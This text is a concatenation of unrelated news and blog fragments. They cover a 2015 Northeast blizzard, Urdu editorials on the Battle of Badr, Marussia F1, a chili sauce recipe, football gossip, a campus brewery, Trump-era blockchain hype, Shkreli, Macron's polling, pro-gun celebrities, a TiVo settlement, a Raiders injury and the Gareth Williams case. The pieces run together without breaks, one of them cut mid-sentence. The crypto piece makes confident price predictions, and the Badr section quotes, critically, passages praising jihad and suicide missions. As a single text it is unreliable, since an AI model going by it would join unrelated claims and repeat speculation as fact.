Northeast Snow clings to a man's face as he shovels a sidewalk in Portland, Maine, on January 27. Hide Caption 9 of 38 Photos: Massive storm hammers Northeast A person skis down Memorial Drive in Cambridge, Massachusetts, on January 27. Hide Caption 10 of 38 Photos: Massive storm hammers Northeast Plows clear snow off the Long Island Expressway in Melville, New York, on January 27. Hide Caption 11 of 38 Photos: Massive storm hammers Northeast Plows line up at airplane gates at Bradley International Airport in Windsor Locks, Connecticut, on January 27. Hide Caption 12 of 38 Photos: Massive storm hammers Northeast A worker clears snow in Newtown, Pennsylvania, on January 27. Hide Caption 13 of 38 Photos: Massive storm hammers Northeast Workers clear the platform at the Long Island Rail Road station in Glen Head, New York, on January 27. Hide Caption 14 of 38 Photos: Massive storm hammers Northeast A man clears his snow-covered car on the Upper West Side in New York City on January 27. Hide Caption 15 of 38 Photos: Massive storm hammers Northeast An emergency vehicle drives down a snowy street in Winthrop, Massachusetts, on January 27. Hide Caption 16 of 38 Photos: Massive storm hammers Northeast Fishing boats ride out the storm at a dock in Scituate on January 27. Hide Caption 17 of 38 Photos: Massive storm hammers Northeast A woman walks her dog as snow swirls around the Bunker Hill Monument in Boston on Monday, January 26. Hide Caption 18 of 38 Photos: Massive storm hammers Northeast Snow falls around the Empire State Building in New York on January 26. Hide Caption 19 of 38 Photos: Massive storm hammers Northeast People walk through falling snow in Hoboken, New Jersey, on January 26. Hide Caption 20 of 38 Photos: Massive storm hammers Northeast Two passengers ride a subway car in New York on January 26. Hide Caption 21 of 38 Photos: Massive storm hammers Northeast People look out from office building windows as snow falls in downtown Philadelphia on January 26. Hide Caption 22 of 38 Photos: Massive storm hammers Northeast A man stands in front of a screen listing departing flights at Ronald Reagan Washington National Airport on January 26. Hide Caption 23 of 38 Photos: Massive storm hammers Northeast People cross a street covered in snow in New York's Times Square on January 26. Hide Caption 24 of 38 Photos: Massive storm hammers Northeast As the snow moves in, residents pick up some last-minute items at King's Highway Stop & Shop in New Bedford, Massachusetts, on January 26. Hide Caption 25 of 38 Photos: Massive storm hammers Northeast People walk near Penn Station on New York's Seventh Avenue while a major snowstorm begins on January 26. Hide Caption 26 of 38 Photos: Massive storm hammers Northeast A tugboat sails on the East River in New York on January 26. Hide Caption 27 of 38 Photos: Massive storm hammers Northeast Travelers wait for their train platform to be announced at New York's Penn Station on January 26. Hide Caption 28 of 38 Photos: Massive storm hammers Northeast The New York skyline is seen from Liberty State Park in Jersey City, New Jersey, on January 26. Hide Caption 29 of 38 Photos: Massive storm hammers Northeast A pedestrian passes through Johnstown Central Park in Johnstown, Pennsylvania, on January 26. Hide Caption 30 of 38 Photos: Massive storm hammers Northeast Snow falls on pedestrians in New York on January 26. Hide Caption 31 of 38 Photos: Massive storm hammers Northeast A plane is de-iced at New York's LaGuardia Airport on January 26. Thousands of flights were canceled in anticipation of the storm. Hide Caption 32 of 38 Photos: Massive storm hammers Northeast A man buys a shovel in Winthrop, Massachusetts, on January 26. Hide Caption 33 of 38 Photos: Massive storm hammers Northeast Commuters travel across the Zakim Bunker Hill Bridge into downtown Boston on January 26. Hide Caption 34 of 38 Photos: Massive storm hammers Northeast A cyclist in New York navigates between parked cars and a sanitation truck with a snow plow on it on January 26. Hide Caption 35 of 38 Photos: Massive storm hammers Northeast Passengers talk with a ticket agent at LaGuardia Airport to try to beat the snowstorm on January 26. Hide Caption 36 of 38 Photos: Massive storm hammers Northeast Traffic moves through falling snow near Evans City, Pennsylvania, on January 26. Hide Caption 37 of 38 Photos: Massive storm hammers Northeast A New York City snowplow, loaded with salt, sits in midtown Manhattan as light snow falls on January 26. Hide Caption 38 of 38
The Weather Service says whiteout conditions will make travel extremely dangerous in the entire affected area. Wind gusts in the New York City area could hit 65 mph.
The blizzard warning is in effect from 1 p.m. Monday through Tuesday, with the worst conditions expected from late Monday evening through midday Tuesday.
In Massachusetts, emergency management officials warned that the winter storm will be potentially "historic and destructive."
Snow in the southeastern part of Massachusetts could morph into a period of freezing rain. And a major nor'easter is likely to develop on Monday and move up the northeast coast, forecasters said.
Travel across Massachusetts during the storm could be impossible and life-threatening, according to the Massachusetts Emergency Management Agency. It's unclear just how much snow might be on the way, but the National Weather Service is saying 1 to 2 feet is possible.
The Rhode Island Emergency Management Agency tweeted Sunday that the state would be under a blizzard watch Monday.
That area's storm conditions aren't predicted to let up until Wednesday morning.
Christine Carew, a sales associate in Boston, said customers have been coming into the hardware store to grab last-minute snow supplies.
Parents and their children have popped in to buy sleds and others are picking up shovels, ice melt and snow brushes.
"This is kind of typical," she said about Boston getting a lot of snow. "We're more prepared for it. We know it's going to happen."
Blizzard Watch issued for RI to be in effect Mon night to Tues night due to predicted snow accumulations of 18-24" http://t.co/v1635ezsLy — Rhode Island EMA (@RhodeIslandEMA) January 25, 2015
There's little chance the store will be closed Monday, no matter how hard it snows. The manager, she said, lives above the store.
Eight counties in Massachusetts are already under a winter storm watch: Berkshire, Franklin, Hampshire, Hampden, Worcester, Barnstable, Nantucket and Dukes.
A blizzard watch is in effect for Essex, Middlesex, Suffolk, Norfolk, Bristol and Plymouth counties. Barnstable, Nantucket and Dukes counties also face a high wind watch.
Derek and Jim Missert have lived in the Boston area for years. On Sunday they prepared to ride out the storm by being as prepared as they usually are, with plenty of food and water on hand. Jim Missert lives outside the city, so he expects to lose power and has a generator. Derek Missert expects that he'll not lose electricity as he works from home in the city.
There could be coastal flooding in the state starting early Tuesday with pockets of major flooding on east-facing coastlines, the state emergency agency said.
New York Gov. Andrew Cuomo urged New Yorkers to prepare immediately for the storm, saying they should plan for "major disruptions" during Monday and Tuesday morning commutes. Roads could be closed and power could go out, he said in a news release Sunday, and New Yorkers need to look out for downed power lines and tree limbs.
Update: NYC is now under a Blizzard Watch for Monday afternoon through Tuesday evening, per @NWSNewYorkNY: http://t.co/AuYng7bMk5 — NYC OEM (@nycoem) January 25, 2015
Cuomo directed all state agencies to prepare. New York has at least 1,806 plows and more than 126,000 tons of salt to spray on roads across the region. The National Guard will also have six dozen personnel and 20 vehicles stationed throughout the state starting on Monday morning.ONE OF THE reasons the Taliban, and for that matter all other jihadist outfits, have consistently refused to stop fighting during the fasting month of Ramzan is that Ghazwa-e-Badr, the first war of Islam led by Prophet Muhammad, was fought in this pious month. On the 17th day of Ramzan in the second year of Hijri, corresponding to 13 March 624 CE, an army led by the Prophet waged war against the non-Muslims of Mecca at Badr, situated in present-day western Saudi Arabia. To mark the occasion this year, many Urdu newspapers in India paid tribute to this battle on 23 June, the 17th day of Ramzan, the Muslim month of fasting that which began on 7 June this year.
In its edition of 23 June, Roznama Sangam, a leading Urdu newspaper published from Patna since 1952, had an editorial titled, ‘Jang-e-Badr: Falsfa-e-Jihad ka Nuqta-e-Nazr’, which translates to ‘the Battle of Badr: The Standpoint of the Philosophy of Jihad’. It notes: ‘This is the great memorable day when the first decisive war between Islam and Kufr [unbelief] was fought…’ The Urdu daily observed: ‘The prophet looked at the polytheists who were one thousand armed men. On the other hand, his men were 313… He raised his both hands and started calling his Lord. He said: O Allah, fulfil the promise you have made to me; O Allah, if you allow this group of inhabitants of Islam to be killed, then after it, prayers for you will cease on this earth.’ The editorial reminds readers: ‘This handful of 313 Muslims forced the army of the infidels of Mecca to lick dust in the field of Badr. This first battle is the point of the beginning of the philosophy of jihad.’
With the rise of Islamic State (ISIS) in Syria, many Indian Muslims have been attracted to the call for jihad, which makes it a sensitive issue and a concern for the security of India. But the Patna-based daily deemed it appropriate to laud the battle, noting: ‘1,400 years have passed since the War of Badr but its memory refreshes the faith and belief of Muslims even today.’ The piece also observes that the Qur’an praises Ghazwa-e-Badr as ‘Yaum-ul-Furqan’, or a day that differentiates between truth and falsehood.
The editorial describes it as a war between good and bad, polytheism and tauheed (Islamic monotheism), Islam and Kufr, truth and falsehood. It speaks of how Prophet Muhammad woke up his fighters in the morning of 17 Ramzan and ‘after the morning prayers recited the [Quranic] verses on jihad and delivered such a soul-stirring motivational speech that droplets and droplets of blood in the veins of the head-sacrificers of Islam became the ocean of energy and force, turning into stormy waves.’ Roznama Sangam is not the only example of this.
On 23 June, Roznama Inquilab, an Urdu daily that’s influential in Maharashtra, also published an article written by Kamran Ghani Saba to mark Ghazwa-e-Badr. This write-up preaches jihad and suicide attacks, and advocates killing anyone for blasphemy against Prophet Muhammad. At the Battle of Badr, it notes, many Muslims fought against their ‘extremely close relatives’ who had not converted to Islam. It praises their ‘spirit of jihad’, noting an incident as per which a companion of the Prophet, Umar bin Jam, was eating dates when he heard the Prophet’s call and plunged headlong into a suicide mission, saying to himself: “Wow, wow, between me and paradise, the only time [left to elapse is the period before] they kill me.” And he was indeed killed.
IT SHOULD BE borne in mind that the principle of blasphemy against Prophet Muhammad often invites murder by almost all Islamic groups, Shia or Sunni, Barelvi or Deobandi. For example, Imam Khomeini of Iran issued a fatwa (decree) of death against Salman Rushdie. Two brothers owing allegiance to Al-Qaeda in the Arabian Peninsula (AQAP) shot dead the editors of Charlie Hebdo in Paris. Malik Mumtaz Qadri, an elite Pakistani commando owing allegiance to the Barelvi group Dawat-e-Islami, assassinated Punjab’s liberal governor Salman Taseer for advocating the reform of blasphemy laws. By the same theological token, Islamic clerics of Bijnor led by Maulana Anwarul Haq Sadiq publicly issued a reward of Rs 51 lakh for anyone who could kill Kamlesh Tiwari, whether in prison or outside, for blasphemy.
The Roznama Inquilab article lauds two ‘kamsin bachche’ (kids), M’az bin Umar and M’az Ufr, for attacking Abu Jehl, a noted critic of Prophet Muhammad, for blasphemy. The daily praises the two as ‘nanhe mujahid ’(child fighters) and notes that their love for the Prophet is missing from the life of Muslims in present times. The Urdu newspaper reminds its readers: ‘Ghazwa-e-Badr was not simply a war between Islam and Kufr, but there was an eternal message in it for the world...’ It urges readers to follow this message, observing: ‘We will have to rise above mere verbal claims and advance at the practical level. Allah’s aid will be available to us.’
On the same day, Roznama Sahafat, which is published from Mumbai, New Delhi and Lucknow, carried a half-page article written by Allama Pir Muhammad Tabassum Bashir Owaisi, titled: ‘The First War between Islam and Kufr Took Place on 17th Ramzan: The First Battle of Islam, Ghazwa-e-Badr.’ The author’s title of ‘Pir’ suggests that he could be a Sufi. ‘Allah has ensured the identification of everything by birthing its opposite [such as Islam being the opposite of Kufr],’ the article says, adding, ‘Ghazwa-e- Badr too is the second name for the crushing of the falsehood and advancement of the truth.’ It goes into great details of the battle and the Muslim strategy for it.
Observing that the inhabitants of Mecca were persecuting and occupying the property of new converts to Islam, the author writes: ‘Therefore, it was necessary to teach them a lesson. Therefore, Muslims attacked many caravans of the Quraysh [dominant tribe of Mecca] and the Prophet, peace be upon him, used to himself go out with Muslims [to attack the Meccan traders going to Syria]. He used to chase and attack the caravans and seize their goods. Otherwise too, the infidels are enemies of Allah and their properties… are Halal [permissible as per Shariah] for Allah’s friends, in other words, for Muslims.’ The author cites Islamic jurists as saying that for Muslims the ‘most legitimate halaal thing’ is maal- e-ghanimat (goods seized from non-Muslims), followed by profits earned from trade, especially of clothes, followed by profits from agricultural activities, followed by income from work done by one’s own hand—in that order.
Allama Pir Owaisi—who quotes German war theorist Clausewitz, French military general Napoleon and Chinese war strategist Sun Tzu in his article about the need for offensive war—goes on to unwittingly present an image of Muslims as robbers out to ambush infidels, noting: ‘[The Prophet]... and his companions used to lie in wait for the trading caravans [of Meccans to pass by].’ The author motivates Muslims to sacrifice their lives for the cause of jihad by quoting Saad bin M’az, who he writes told the prophet on the eve of Ghazwa-e-Badr: “If you order us to jump into the ocean, we all will jump into the ocean and none of us will be left behind.” The long article also uses a couplet to exhort Muslims to pursue the cause: ‘Create the environment of Badr, because the angels for your aid; Will come down, in rows after rows even now.’Marussia administrators in'serious talks' with one group about a possible takeover
Sky Sports News HQ understands that Marussia administrators are in “serious talks” with one group about a possible takeover.
On Friday, the administrators confirmed the team were to be wound up with around 200 staff being made redundant.
However, it is hoped the team can still take part in the season finale in Abu Dhabi if they can raise between £3 million and £5 million by the end of the week, with time to ship the cars and parts to the Yas Marina Circuit ahead of the race on November 23rd.
Sky Sports News HQ understands that talks are ongoing with an unnamed group about a proposed takeover.
Speaking to Sky Sports F1 ahead of Sunday’s Brazilian GP Graeme Lowdon, who was President and Sporting Director of the Banbury outfit, insisted: “I don’t feel like there’s no way back. We’re very competitive people and we’ll keep fighting until there’s absolutely no chance at all.
“At the moment there’s still very much a chance that we can compete in 2015 and beyond and indeed in Abu Dhabi.”
The team was born out of successful junior formula team Manor Competition, but has run under the Virgin Racing and Marussia banners according to their backers.
Manor F1 Team have been included on the provisional 2015 F1 entry list published ahead of the Brazilian GP.Every year, my husband Lulu plants an incredible amount of all sorts of chiles. My parents-in-law loves extremely spicy food. Before I got married, I hated spicy food. To be honest, I could barely handle a dash of black pepper, let alone a jalapeno or heaven forbid a habanero. I guess marrying into an Indian family helped my taste buds. I've gotten better. I'm learning.
It contains the bare minimum ingredients: something sweet, something savory and of course a ton of spiciness. This blend has a delicious garlic flavor.
As promised, this is the recipe of tướng ớt, literally spicy dipping sauce in Vietnamese. It's ultra easy. This sauce is great for dipping and stir-frying. The last time I used this condiment was for my father-in-law's favorite Asian dish, green beans and tofu stir fry.
Ingredients
Yields: 1 jar
15 whole fresh red chili peppers
1 tsp grey salt
8 tsp garlic, finely chopped
1 1/2 Tbs sugar cane
3 Tbs rice vinegar
1 tsp corn starch
2 Tbs water
Directions
Pick fully ripened extremely red in color chilis. Wash them. Pat dry them with a paper towel. Remove all stems then roughly slice all the chiles. Blend the chili peppers, salt, garlic, sugar and vinegar in a mini-prep with about 10 pulses. Dissolve the cornstarch in water. Transfer the chili mixture into a saucepan and bring to a a boil. Add the cornstarch liquid. Lower the heat to simmer for about 5-6 minutes. Stir constantly to make sure the cornstarch is properly absorbed. Place the cooked mixture in a small jar. Let it cool down to room temperature. Store in the refrigerator.
Tips
You can use any other kind of vinegar and also use regular white sugar. I just find that sugar cane brings extra flavor.
You know the saying: you eat with our eyes first. It's important that you pick only fully ripened chiles to give a very appetizing bright red color. If your color isn't bright enough, you can cheat by adding a red bell pepper. But the result will be less spicy.
I use habanero peppers for this recipe. The habanero is the spiciest peppers in the world. If you're afraid that it will be too spicy, you can find another red pepper that is more appropriate to your heat tolerance.
Both photographs were taken last October. My husband grew a variety of chiles. Those pictured are habaneros in the black (in red) and in the foregroung there are sun-dried scotch bonnets (in yellow). We just bought those cool Jiffy greenhouses and have planted our seeds for next season.
Jacqueline Pham
January 29, 2009
onFOOTBALL GOSSIP
Canada are stepping up their efforts to convince Scott Arfield to play for them after his latest Scotland snub by using former Burnley star David Edgar to sound out the midfielder, whose dad was born in Toronto. (Sun)
Former Scotland manager Alex McLeish says he has rediscovered his passion for the game after his managerial stint in Belgium with Racing Genk. (Herald)
Tom Boyd insists a Celtic treble would not be any less of an achievement because of the top-flight absence of Rangers (Various)
Scott Arfield has represented Scotland as far as under-21 level
Meanwhile the Parkhead club have accused the Scottish FA and rival clubs of taking advantage of their fans, claiming the £23 fans will have to pay for the North Stand at the Scottish Cup semi-final with Inverness is too high. (Various)
Hearts owner Ann Budge has set a minimum target of the top six next season when they return to the Scottish Premiership (Various)
Callum Paterson says the Tynecastle club will not take their foot off the gas against Rangers this weekend when the two clash at Ibrox, as they want to be the first club in 41 years to break the 100-goal mark in the second tier. (Daily Record)
Dundee manager Paul Hartley says he is keen to keep on-loan Hibs star Alex Harris at Dens Park (Daily Express)
Ex-Ibrox winger Neil McCann says it is "scandalous" the previous Rangers board sanctioned a deal that will see Newcastle pocket £500,000 if Rangers reach the Scottish Premiership. (Daily Star)
OTHER GOSSIP
Fight boss Alex Morrison is confident Commonwealth Games gold medallist Charlie Flynn will have no problem coping with the TV cameras when he takes on Andy "thunder" Harris in his second bout of his professional career. (Herald)On-Campus Brewery Confirmed for University of British Columbia
VANCOUVER, BC – The Ubyssey, the student newspaper of the University of British Columbia (UBC), has reported that the school’s student society and government, the UBC Alma Mater Society (AMS) has approved the inclusion of an on-site microbrewery in the new Student Union Building that is currently under construction.
First proposed last March, the yet-to-be-named brewery will take up approximately 1,000 square feet of space in the basement of the SUB, and will produce beer primary for sale at The Pit and The Perch, the two pubs planned for the building, although sales at other licensed establishments elsewhere on campus are also possible.
According to AMS President Jeremy McElroy, a feasibility report commissioned with First Key Consulting “came back positive, saying that due to the craft beer culture in Vancouver as well as the nature of being isolated on campus and the amount of beer we go through right now, that it would be feasible to brew our own and in fact do really well while doing it.”
While many details of the project have yet to be finalized, McElroy says that he expects the price point of the UBC-brewed beer to be lower than other brands, making it likely to be warmly welcomed by the student body.Blockchain in the USA: Trump admin declares commitment to blockchain, government uses
Donald Trump’s presidential administration just officially confirmed its commitment to the blockchain, declaring that it’s looking at optimizing the U.S government through blockchain use cases.
This is bullish news not just for U.S. crypto customers, but for crypto-enthusiasts all across the world.
Participating in the Data Transparency 2017 conference, two top Trump White House officials announced for the first time that U.S. policymakers are increasingly looking at crypto as a cornerstone of American tech strategies going forward.
“With artificial intelligence and blockchain, the [White House] is exploring a whole range of forward-leaning capabilities that might be helpful to government,” said Margie Graves, an acting information chief at the Office of Management and Budget (OMB).
This kind of rhetoric coming out of the OMB is huge for crypto, but it’s no surprise: OMB director Mick Mulvaney founded the Congressional Blockchain Caucus, so he’s been—and continues to be—on the frontlines of making crypto mainstream in the U.S.
In her comments, Graves said that she and Mulvaney were working with the White House to strive toward the U.S. implementing blockchain technologies for cutting down on abuse, waste, and fraud in the federal government.
Chris Liddell, a strategic adviser in Trump’s White House, echoed Graves’ remarks during his own speech at the Data Transparency 2017 conference.
“As we look to the future, we want to ensure that today’s reforms do not hinder tomorrow’s adoption of emerging technologies,” Liddell said. “Whether it is blockchain, artificial intelligence or perhaps a new technology, standardized data will help ensure the government stays current of technology’s latest trends.”
This is great news for crypto users who have been fearful the U.S. government will crackdown on the blockchain.
Now we know the Trump administration will only be embracing crypto, not cracking down on it.
And we also know this news will surely help skyrocket the price of Bitcoin, Ether, and other altcoins in the coming months. News like this could power Bitcoin past $5,000 and beyond in the mid-term.
TLDR: Trump’s White House has formally signaled its intentions to implement blockchain technologies to streamline the U.S. government.
Like this: Like Loading...Martin Shkreli is shown on his live stream available on YouTube. Via Social Media
NEW YORK (Reuters) - Martin Shkreli, the boyish pharmaceutical entrepreneur who was arrested on Thursday for what U.S. prosecutors said was a Ponzi-like scheme, started a live stream on YouTube on Friday after returning home.
Two hours into the live stream, he was playing an online chess game while answering comments from his YouTube viewers, after wandering around his apartment filled with guitars and musical instruments in pajama bottoms and a purple PBS T-shirt. He has done similar live streams before on YouTube.
“Good to be back. I missed you too,” the 32-year-old said at the beginning of the live stream, responding to comments made by YouTube viewers.
He added: “I can’t really talk about business or anything. So please don’t ask me about businesses or any allegations or anything like that.”
(For the live stream, see here
Shkreli, who attracted criticism for growing outrage over soaring prescription drug prices, was arrested before dawn at the up-market Murray Hill Tower Apartments in midtown Manhattan on Thursday. U.S. prosecutors said he was running a Ponzi-like scheme at his former hedge fund and a pharmaceutical company he previously headed.
Shkreli, who often tweets about his political views and musical taste, late Thursday night wrote on Twitter (@MartinShkreli): “Glad to be home. Thanks for the support.”French President Emmanuel Macron’s popularity has suffered the biggest slide in three months since Jacques Chirac, according to a poll published on Sunday in a French newspaper.
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Macron’s honeymoon seems to be over as a sweep of budget cuts affecting the army, housing benefits and feminist associations has dented his popularity.
The poll, published in the Journal du Dimanche (JDD) newspaper, said 54 percent of people in France were satisfied with Macron in July, compared with 64 percent in June.
The only French president to have seen his popularity fall more than that in three months is Jacques Chirac in 1995, the paper claims.
A wide range of budget cuts that Macron has made in order to reduce public spending by €60 billion during his presidency has proved controversial.
Military cuts
Earlier this week, the head of the French armed forces resigned following a heated public row with the president over a surprise €850 million cut to military finances.
General Pierre de Villiers said in a resignation statement Wednesday that he no longer felt able to command the sort of armed forces “that I think is necessary to guarantee the protection of France and the French people”.
The cut was first revealed by a finance minister last week and endorsed by Macron, 39, who is the first French president who has neither been in the army nor carried out mandatory military service, which was abolished in the 1990s.
Several politicians from Macron’s party, La République en marche (LREM), have criticised the decision to make the €850 million cut.
Gwendal Rouillard told the French TV station BFM Business on Thursday: “I think the finance ministry’s proposition is unacceptable, downright unacceptable. You can’t say on one hand that we should protect our fellow citizens from the threats today and at the same time, make this kind of decision at the first budgetary hurdle.”
However, Florence Parly, Minister of the Armed Forces, told the JDD on Sunday: “The economic measures taken do not compromise the functioning of our armed forces in 2017 and the commitment to increase the defence budget throughout the coming years will be kept.”
Parly was referring to Macron’s pledge to increase defence spending to 2 percent of GCP by 2025, in line with NATO targets. She added that the budgetary adjustments would be made by smoothing out major equipment programmes.
Housing benefit cuts
Housing benefits, known in France as APL (Aide personnalisée au logement), are also being cut. A government statement to the television channel France 2 on Saturday said that housing benefits for each claimant will be reduced by €5 per month from October 2017. “However, APL will not be slashed completely,” the statement added, allaying fears that the cuts could be more severe.
Those affected by the cuts include 800,000 students, who receive around €225 a month, several of whom took to Twitter to express their anger.
Romain Gros, a university student in Lyon, tweeted a photo of Macron laughing and wrote: “And here I say: ‘I’m reducing housing benefits to compensate for the reduction in the solidarity tax on wealth.’” The tweet sarcastically alluded to Macron’s four-year stint as a Rothschild banker.
- Et là je dis : "je baisse les APL pour compenser la baisse de l'ISF." pic.twitter.com/pUJTR3ZJ6g — Romain Gros???? (@Gros_Romain) July 22, 2017
The government claims that the decision to reduce housing benefits was actually made under François Hollande. “The APL cuts were passed by the previous government but were never put into place,” said Gérald Darmanin, Minister of Public Action and Accounts. “We will implement the measures voted by parliament.”
Darmanin's claim was refuted by Socialist MP Christian Eckert: "Reducing the APL by €60 a year is their [LREM] decision, not that of the previous government's," he wrote on Twitter.
Women’s rights cuts
The budget allocated for women’s rights is also likely to be slashed. Several feminist groups are concerned that the women’s rights budget could be cut by as much as 25 percent, according to an article published in the JDD last Sunday.
This would see the women’s rights budget decreasing from €29.6 million in 2016, representing 0.006 percent of the state’s overall budget, to €20.1 million.
Marlène Schiappa's office, the French Secretary of State for Equality of Women and Men, has confirmed that there will be cuts but has not clarified by what percent.
“The budget is still being debated and yes, there will be cuts, like everywhere,” Schiappa's office told the television channel LCI. “The 25 to 30 percent figure is groundless but we are unlikely to escape cuts.”
Last Monday, Laurence Rossignol, the former minister for women’s rights, wrote an open letter to French Prime Minister Édouard Philippe, which she posted on Twitter, imploring him to reconsider.
"Monsieur le Premier Ministre, épargnez le budget consacré à l'égalité femmes/hommes".
Mon courrier à Edouard Philippe pic.twitter.com/xDjGlwYRkf — laurence rossignol (@laurossignol) 17 juillet 2017
“Mr Prime Minister, save the budget allocated for the equality of women/men”, she tweeted.
Similarly, Marilyn Baldeck, chief delegate for the European association on workplace violence against women, told French daily Le Monde: “It doesn’t make sense to cut costs on such a ridiculous budget.”
The expected cuts are surprising given that Macron had presented himself as an ardent supporter of women’s rights during his presidential election campaign.
Macron even declared, “I’m a feminist,” at the Women’s Forum for the Economy and Society in Paris last December and vowed to make women’s rights a “national cause”.Actors Who Are Pro Gun
In la-la land when tend to think in terms of Liberals and Conservatives, we find that Liberals are far and away more numerous in the acting profession than Conservatives. That seems pretty clear, though I feel many right leaners tend to stay quiet about their views in order to have a career and I won’t fault them for that.
But here is the funny thing, the right to keep and bear arms is not a Liberal v Conservative issue (though it often falls that way), it is a control v freedom issue and many of my friends who are center left have come to embrace gun ownership as part of the American identity. While we may not agree on healthcare, taxes or any other big government socialist like agenda’s we come together on the 2nd Amendment.
It is the notion of freedom and control of one’s own destiny that has seen a large increase in gun ownership in both women and liberals.
It comes at no surprise then that there are many actors in Hollywood that keep themselves armed. So long as they don’t pull the traditional liberal hypocrisy of saying THEY deserve to be armed while the peons should go without, I will not fault them for their other misguided notions for they got the most important one right.
Of course you have the Tom Selleck‘s of the world who are notable in their support of the 2nd Amendment and an open supporter of the NRA and the Luke Bryan‘s (country singer) who is the co-owner of Buck Commander.
But then you have some other stars who you may be surprised to know take gun ownership and protecting their family personally.
Stars like Angelina Jolie and Brad Pitt.
Jolie: “Brad and I are not against having a gun in the house, and we do have one. And yes, I’d be able to use it if I had to… If anybody comes into my home and tries to hurt my kids, I’ve no problem shooting them.” Pitt: “America is a country founded on guns. It’s in our DNA. It’s very strange, but I feel better having a gun. I really do. I don’t feel safe, I don’t feel the house is completely safe, if I don’t have one hidden somewhere. That’s my thinking, right or wrong.”
Very sensible opinion. Now, do I expect the couple to go out and campaign against the SAFE Act, or lobby the federal government to do away with Title II requirements? No. But I know a lot of “traditional” gun owners who don’t believe in the individuals right to own so called “assault” weapons. I think Pitt and Jolie have the understanding of the basis of gun ownership and in Hollywood that’s a pretty big step.
Other Hollywood stars offering different logical views on guns:
James Earl Jones: “The world is filled with violence. Because criminals carry guns, we decent law-abiding citizens should also have guns. Otherwise they will win and the decent people will lose.” Christian Slater offers up a classic: “It’s better to have a gun and not need it than to need a gun and not have it.”
And while we have country singers who one would traditionally view as pro gun such as Luke Bryan and Miranda Lambert, Lambert takes on a very Libertarian view on the whole thing;
Lambert: “I carry a weapon. I got a death threat a few years ago and was really scared. But I don’t want bodyguards. I am my own security.”
While some personalities have grown with the idea of the 2nd Amendment others have had the ephiphany dawn on them in dramatic fashion such as The View’s co-host Sherri Shepherd:
Shepherd (after being the victim of a home invasion): “I have nothing, a bat, nothing. We’re going to get a gun.”
But bar none the Hollywood Star that spoke about gun control is the Clint Eastwood.
Eastwood: “I have a very strict gun control policy: if there’s a gun around, I want to be in control of it.”
Now that is sensible gun control I |
a mutual patent licensing arrangement. Under the terms of the settlement, AT&T agreed to pay TiVo an initial payment of $51 million, followed by recurring quarterly guaranteed payments through June 2018, totaling $164 million, which together yield minimum payments of $215 million. In addition to these minimum payments, AT&T will pay incremental recurring per subscriber monthly license fees through July 2018 should AT&T's DVR subscriber base exceed certain levels.
As part of the settlement, TiVo and AT&T agreed to dismiss all pending litigation between the companies with prejudice. The parties also entered into a cross license of their respective patent portfolios in the advanced television field.
"We are extremely pleased to reach an agreement with AT&T, which acknowledges the value of our intellectual property," said Tom Rogers, CEO and President of TiVo. "This settlement, on the heels of our recent operational success that has resulted in the growth of TiVo's overall subscriber base, is another major accomplishment for TiVo and we believe a great outcome for our shareholders. The combination of guaranteed payments and future additional fees paid to TiVo in the event that AT&T's pay TV business continues to grow in-line with consensus analyst expectations, represents hard-earned compensation for our IP enforcement efforts. The settlement also provides us rights to innovate TiVo products and services under license from AT&T and allows us to avoid significant legal expenses that we expect would have been incurred by us during and after trial."
About TiVo Inc.
Founded in 1997, TiVo Inc. (NASDAQ: TIVO) developed the first commercially available digital video recorder (DVR). TiVo offers the TiVo service and TiVo DVRs directly to consumers online at www.tivo.com and through third-party retailers. TiVo also distributes its technology and services through solutions tailored for cable, satellite, and broadcasting companies. Since its founding, TiVo has evolved into the ultimate single solution media center by combining its patented DVR technologies and universal cable box capabilities with the ability to aggregate, search, and deliver millions of pieces of broadband, cable, and broadcast content directly to the television. An economical, one-stop-shop for in-home entertainment, TiVo's intuitive functionality and ease of use puts viewers in control by enabling them to effortlessly navigate the best digital entertainment content available through one box, with one remote, and one user interface, delivering the most dynamic user experience on the market today. TiVo also continues to weave itself into the fabric of the media industry by providing interactive advertising solutions and audience research and measurement ratings services to the television industry. www.tivo.com
TiVo and the TiVo Logo are trademarks or registered trademarks of TiVo Inc. or its subsidiaries worldwide. © 2012 TiVo Inc. All rights reserved. All other trademarks are the property of their respective owners.
This release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. These statements relate to, among other things, the amount of future payments TiVo expects to receive in connection with its settlement of its patent litigation with AT&T, TiVo's ability to further innovate its products and services, and TiVo's ability to avoid future legal expenses as result of the settlement with AT&T. Forward-looking statements generally can be identified by the use of forward-looking terminology such as, "believe," "expect," "may," "will," "intend," "estimate," "continue," or similar expressions or the negative of those terms or expressions. Such statements involve risks and uncertainties, which could cause actual results to vary materially from those expressed in or indicated by the forward-looking statements. Factors that may cause actual results to differ materially include delays in development, competitive service offerings and lack of market acceptance, as well as the other potential factors described under "Risk Factors" in the Company's public reports filed with the Securities and Exchange Commission, including the Company's Annual Report on Form 10-K for the fiscal year ended January 31, 2011, as amended, our Quarterly Reports on Form 10-Q for the periods ended April 30, 2011, July 31, 2011, and October 31, 2011 and Current Reports on Form 8-K. The Company cautions you not to place undue reliance on forward-looking statements, which reflect an analysis only and speak only as of the date hereof. TiVo disclaims any obligation to update these forward-looking statements.Midway through Raiders second minicamp practice, the Raiders were doing a drill in which several offensive players looked to stay in front of a defender with the ball. When it came time for DJ Hayden to try and put the moves on an offensive player, he took the ball, shuffled his feet, and it didn't go well.
When attempting to plant his left foot after the stutter step, he came up gimpy. He limped to the side where he spoke to a trainer, then a short time later walked gingerly to the training room accompanied by a member of the training staff.
One would have to think this will end Hayden's offseason practice participation, with just one more minicamp practice left.
The injury was non-contact, of course, which are often the most worrisome injuries, though commenting on the severity of the injury would be pure speculation at this point.
Hayden is battling to be the team's third cornerback, if not for a roster spot. He has had several injury issues in the past, including a knee injury. He will now have six weeks until training camp and heading into the final year of his rookie contract, he can't afford to miss any time.
Follow @LeviDamienGareth Williams was found padlocked in a holdall inside a bathtub (Picture: AFP/Getty)
An MI6 worker whose naked body was found in a padlocked sports bag probably died by accident, police said.
Gareth Williams was found in the holdall in the empty tub of his bathroom but ‘many questions remain unanswered’ about his death, the Met stated after its review of evidence.
Dep Asst Comm Martin Hewitt said: ‘I do not believe I have had the wool pulled over my eyes. I believe what we are dealing with is a tragic, unexplained death.’
He also said there was no evidence the codebreaker’s home had been ‘deep-cleaned’ to remove forensic traces.
The findings contradict those of last year’s inquest into Mr Williams’s death, when the coroner said the 31-year-old, had been unlawfully killed.
The spy’s family said they were ‘naturally disappointed’ with the police findings.
Mr Hewitt said the death was ‘most probably’ an accident. ‘It is a more probable conclusion there was no other person present when Gareth died,’ he said.
